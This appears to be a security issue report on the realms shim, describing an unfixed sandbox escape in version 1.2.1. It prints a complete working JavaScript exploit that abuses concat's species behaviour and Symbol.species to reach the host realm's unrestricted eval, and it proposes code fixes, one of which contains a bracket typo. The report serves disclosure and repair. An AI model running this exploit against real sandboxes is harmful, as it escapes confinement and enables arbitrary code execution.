transforms rely upon Array-ness of user-supplied argument

[warner]

Shortly after the 1.2.1 release, XmiliaH reported a new vulnerability in the shim. As explained in the blog post, we have stopped applying timely security fixes to the realms shim, so this represents an unfixed sandbox escape in the shim.

@XmiliaH's exploit looks like this:

let LastBadArray;
class BadArray extends Array {
     constructor() {
         super();
         LastBadArray = this;
     }
}
Realm.makeCompartment().evaluate('', undefined, {transforms: new
BadArray()});

const HostObject = LastBadArray[0].__proto__.constructor
// Elevate HostObject access to eval.
const HostArray = HostObject.keys({}).constructor;
let n = 0;
Object.defineProperty(HostArray, Symbol.species, {
     value: function() {
         if (n++ == 2) {
             return {
                 set length(value) {},
                 get length() {
                     this["0"] = 'x}=this;return ()=>eval;//';
                     return 1;
                 }
             };
         }
         return new HostArray();
     }
});
const Eval = (0, eval)('');
Eval

It works against the "fixed" 1.2.1 code, in which the user-supplied transforms option is combined with additional transforms, using concat:

  function factory(endowments = {}, options = {}) {
    const localTransforms = options.transforms || [];
    ...
    const mandatoryTransforms = [rejectDangerousSourcesTransform];
    const allTransforms = arrayConcat(
      localTransforms,
      realmTransforms,
      mandatoryTransforms
    );

The arrayConcat function is a safely-curried version of Array.prototype.concat, so it will behave as specified, but the official JavaScript specification has an interesting property: the type of the resulting Array is decided by the constructor of the first argument. Since the user's localTransforms appears first, it gets to be involved in the creation of the new Array. The attack uses this access to grab a reference to the host's Array object (which comes from the primal Realm). From there it climbs the prototype chain until it reaches the unsafe eval.

One fix is to supply a real Array for the first argument to concat:

    const allTransforms = arrayConcat(
      [],
      localTransforms,
      realmTransforms,
      mandatoryTransforms
    );

But a more-obviously-correct fix is to use an Array literal and the "spread operator" (...):

    const allTransforms = [
      ...localTransforms,
      ...realmTransforms,
      ...mandatoryTransforms
    );

This approach asks each argument for an iterator, but does not otherwise depend upon methods or types of the arguments.

[warner]

This is currently unfixed.